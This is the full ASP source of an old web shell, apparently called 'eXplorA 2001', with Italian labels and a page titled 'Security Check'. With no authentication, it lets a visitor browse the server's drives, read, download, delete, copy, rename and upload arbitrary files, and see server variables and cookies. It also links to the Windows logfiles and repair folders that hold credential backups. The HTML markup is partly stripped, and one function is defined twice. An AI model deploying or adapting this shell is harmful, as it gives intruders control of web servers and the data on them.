<% Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Response.Buffer = true ImgOFolder = "http://liquidmirror.com/OFolder.gif" ImgCFolder = "http://liquidmirror.com/CFolder.gif" 'ImgOFolder = "OFolder.gif" 'ImgCFolder = "CFolder.gif" If Request.QueryString("Download")="true" Then Usa = checkDownload strFile = Request.QueryString("strFile") strFileName = right(strFile,len(strFile) - instrrev(strFile,"\")) Set fso = Server.CreateObject("Scripting.FileSystemObject") If fso.FileExists(strFile) Then if Usa = "ADO" then set ADOstream = Server.CreateObject("ADODB.Stream") ADOstream.Type = 1 'adTypeBinary ADOstream.Open ADOstream.LoadFromFile strFile strContents = ADOstream.Read ADOstream.Close Set ADOstream = Nothing else Set Out = fso.OpenTextFile (strFile, 1, FALSE, FALSE) strContents = Out.ReadAll Out.Close Set Out = Nothing end if 'Write the contents out to the html stream Select Case Right(strFile, 3) Case "xxxx" 'work in progress Case Else Response.ContentType = "text/octet-stream" Response.AddHeader "Content-disposition","filename=" & strFileName Response.BinaryWrite strContents End Select Else Response.Write "Error. File not found." end If Set fso = nothing Response.end End If If Request.QueryString("Delete")="true" Then strFile = Request.QueryString("strFile") strFileName = right(strFile,len(strFile) - instrrev(strFile,"\")) Set fso = Server.CreateObject("Scripting.FileSystemObject") If fso.FileExists(strFile) Then Set a = fso.GetFile(strFile) a.delete Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName)) Else Response.Write "Error. File not found." end If Set fso = nothing Set a = nothing Response.end End If If Request.QueryString("Copy")="true" Then strFile = Request.QueryString("strFile") strFileName = right(strFile,len(strFile) - instrrev(strFile,"\")) Set fso = Server.CreateObject("Scripting.FileSystemObject") If fso.FileExists(strFile) Then Set a = fso.GetFile(strFile) a.copy (Request.QueryString("strDestPath")) Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName)) Else Response.Write "Error. File not found." end If Set fso = nothing Set a = nothing Response.end End If If Request.QueryString("Rename")="true" Then strFile = Request.QueryString("strFile") strFileName = right(strFile,len(strFile) - instrrev(strFile,"\")) Set fso = Server.CreateObject("Scripting.FileSystemObject") If fso.FileExists(strFile) Then Set a = fso.GetFile(strFile) a.copy (mid(strFile,1,len(strFile) - len(strFileName)) & Request.QueryString("strDestFileName")) a.delete Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName)) Else Response.Write "Error. File not found." end If Set fso = nothing Set a = nothing Response.end End If If Request.QueryString("Read")="true" Then strFile = Request.QueryString("strFile") strFileName = right(strFile,len(strFile) - instrrev(strFile,"\")) ilfile=server.mappath("strFile") Set file = CreateObject("Scripting.FileSystemObject") Set ilfile = file.OpenTextFile(strFile, 1, False) counter=0 do while not ilfile.AtEndOfStream counter=counter+1 illine=ilfile.readline response.write illine & "
" loop ilfile.Close set ilfile=nothing set file=nothing Response.end End If '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Constants returned by Drive.DriveType '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Const DriveTypeRemovable = 1 Const DriveTypeFixed = 2 Const DriveTypeNetwork = 3 Const DriveTypeCDROM = 4 Const DriveTypeRAMDisk = 5 '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Constants returned by File.Attributes '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Const FileAttrNormal = 0 Const FileAttrReadOnly = 1 Const FileAttrHidden = 2 Const FileAttrSystem = 4 Const FileAttrVolume = 8 Const FileAttrDirectory = 16 Const FileAttrArchive = 32 Const FileAttrAlias = 64 Const FileAttrCompressed = 128 %> Security Check


� Info del server. � Info del client.
User: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %>
ID: <%=request.servervariables("SERVER_NAME")%>
IP: <%=request.servervariables("LOCAL_ADDR")%>
HTTPD: <%=request.servervariables("SERVER_SOFTWARE")%> Port: <%=request.servervariables("SERVER_PORT")%>
Dove sta il sito?: <%=request.servervariables("APPL_PHYSICAL_PATH")%>
LogRoot: <%=request.servervariables("APPL_MD_PATH")%>
Data: <% =date() %>
Ora: <%=time() %>
HTTPs: <%=request.servervariables("HTTPS")%>
Indirizzo locale: <%=request.servervariables("REMOTE_ADDR")%>
Forwarded from : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%>
Via: <%=request.servervariables("HTTP_VIA")%>
User Agent: <%=request.servervariables("HTTP_USER_AGENT")%>
Wookie: <%=request.servervariables("HTTP_WOOKIE")%>
Cache Control: <%=request.servervariables("HTTP_CACHE_CONTROL")%>
Interfaccia: <%=request.servervariables("GATEWAY_INTERFACE")%>
Protocollo: <%=request.servervariables("SERVER_PROTOCOL")%>
Metodo: <%=request.servervariables("REQUEST_METHOD")%>
Porta Remota: <%=request.servervariables("REMOTE_PORT")%>
HTTP_COOKIE: <%=request.servervariables("HTTP_COOKIE")%>



Directory: /explore.asp?strPath=c:\winnt\system32\logfiles\">Logs 1 - /explore.asp?strPath=c:\windows\system32\logfiles\">Logs 2 - /explore.asp?strPath=d\winnt\system32\logfiles\">Logs 3 - /explore.asp?strPath=d:\windows\system32\logfiles\">Logs 4 - /explore.asp?strPath=<%=request.servervariables("APPL_PHYSICAL_PATH")%>">Site - /explore.asp?strPath=c:\winnt\repair\">Repair 1 - /explore.asp?strPath=d:\winnt\repair\">Repair 2 - /explore.asp?strPath=c:\windows\repair\">Repair 3 - /explore.asp?strPath=d:\windows\repair\">Repair 4 -


<% strDir = Request("strPath") if strDir = "" Then strDir = Server.MapPath("/") If Right(strDir, 1) <> "\" Then strDir = strDir & "\" strParse = strDir lngPos = InStr(1, strParse, "\") strOut = "" & Left(strParse, lngPos) & "
" x = 2 Do While lngPos <> 0 oldPos = lngPos lngPos = InStr(oldPos + 1, strParse, "\") if lngPos = 0 Then Exit Do For y = 1 to x strIndent = strIndent & " " Next 'y strOut = strOut & strIndent & "" & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "
" x = x + 2 if lngPos = Len(strParse) Then Exit Do Loop ' Response.Write("") Response.Write(strOut) strIndent = strIndent & "  " Set objFSObject = CreateObject("Scripting.FileSystemObject") Set objFolder = objFSObject.GetFolder(strDir) Set colFolders = objFolder.SubFolders For Each intFol in colFolders strFName = intFol.name Response.Write(strIndent & " " & strFName &"
" & vbcrlf) Next 'intFol Set colFiles = objFolder.Files %>

������ 4WD ������
For-Wide-Drives



eXplorA 2001 a


<% for each colfile in colfiles%> <%=GenerateFileInformation(colFile)%> <% next %>
name type attrib build access modificate size commands
<% function Start() If Request.ServerVariables("REQUEST_METHOD") = "POST" Then Set Fields = GetUpload() FilePath = Request.QueryString("strPath") if len(FilePath) <> 0 then if mid(FilePath, len(FilePath), 1) <> "\" then FilePath = FilePath & "\" FilePath = FilePath & Fields("File1").Filename else FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName end if Fields("File1").Value.SaveAs FilePath strFile = Request.QueryString("strFile") strFileName = right(strFile,len(strFile) - instrrev(strFile,"\")) Response.redirect "explore.asp?strPath=" & Request.QueryString("strPath") End If end function %>

._.-�'�-._.->File Upload Zone<-._.-�'�-._.

File :
>

�Copyright For-Wide-Drives

<% Function ShowFileAttr(File) ' File can be a file or folder Dim S Dim Attr Attr = File.Attributes If Attr = 0 Then ShowFileAttr = "Normal" Exit Function End If If Attr And FileAttrDirectory Then S = S & "Dir " If Attr And FileAttrReadOnly Then S = S & "R " If Attr And FileAttrHidden Then S = S & "H " If Attr And FileAttrSystem Then S = S & "S " If Attr And FileAttrVolume Then S = S & "V " If Attr And FileAttrArchive Then S = S & "A " If Attr And FileAttrAlias Then S = S & "Al " If Attr And FileAttrCompressed Then S = S & "Compressed " ShowFileAttr = S End Function Function GenerateFileInformation(File) Dim S ' jFilePath = replace(File.Path,"\","\\") ' jFilePath = replace(jFilePath,"'","\'") S = "" & File.Name & "" S = S & "" & File.Type & "" S = S & "" & ShowFileAttr(File) & "" S = S & "" & File.DateCreated & "" S = S & "" on error resume next S = S & File.DateLastAccessed err.clear on error goto 0 S = S & "" S = S & "" & File.DateLastModified & "" S = S & "" & File.Size & "" S = S & "" & DelCopyRen(File) & "" GenerateFileInformation = S End Function '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' ShowFileAttr ' Purpose: ' Generates a string describing the attributes of a file or folder. ' Demonstrates the following ' - File.Attributes ' - Folder.Attributes '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Function ShowFileAttr(File) ' File can be a file or folder Dim S Dim Attr Attr = File.Attributes If Attr = 0 Then ShowFileAttr = "Normal" Exit Function End If If Attr And FileAttrDirectory Then S = S & "Dir " If Attr And FileAttrReadOnly Then S = S & "R " If Attr And FileAttrHidden Then S = S & "H " If Attr And FileAttrSystem Then S = S & "S " If Attr And FileAttrVolume Then S = S & "V " If Attr And FileAttrArchive Then S = S & "A " If Attr And FileAttrAlias Then S = S & "Al " If Attr And FileAttrCompressed Then S = S & "Compressed " ShowFileAttr = S End Function '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' ShowDriveType ' Purpose: ' Generates a string describing the drive type of a given Drive object. ' Demonstrates the following ' - Drive.DriveType '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Function ShowDriveType(Drive) Dim S Select Case Drive.DriveType Case DriveTypeRemovable S = "Removable" Case DriveTypeFixed S = "Fixed" Case DriveTypeNetwork S = "Network" Case DriveTypeCDROM S = "CD-ROM" Case DriveTypeRAMDisk S = "RAM Disk" Case Else S = "Unknown" End Select ShowDriveType = S End Function function spazia(stringa,lunghezzatotale) spaz = "" for i = 1 to lunghezzatotale - len(stringa) spaz = spaz & " " next spazia = spaz end function function checkDownload() Dim ADOstream on error resume next 'Create a stream object set ADOstream = Server.CreateObject("ADODB.Stream") if ADOstream is nothing then checkDownload = "FSO" else checkDownload = "ADO" end if set ADOstream = nothing on error goto 0 end function Function DelCopyRen(File) Dim S S = "" & "Read " & "" S = S & "" & "Delete" & "" S = S & "" S = S & "" S = S & "" S = S & "" S = S & " Destination Path: " S = S & "
" S = S & "" S = S & "" S = S & "" S = S & " Destination FileName:
" DelCopyRen = S End Function %>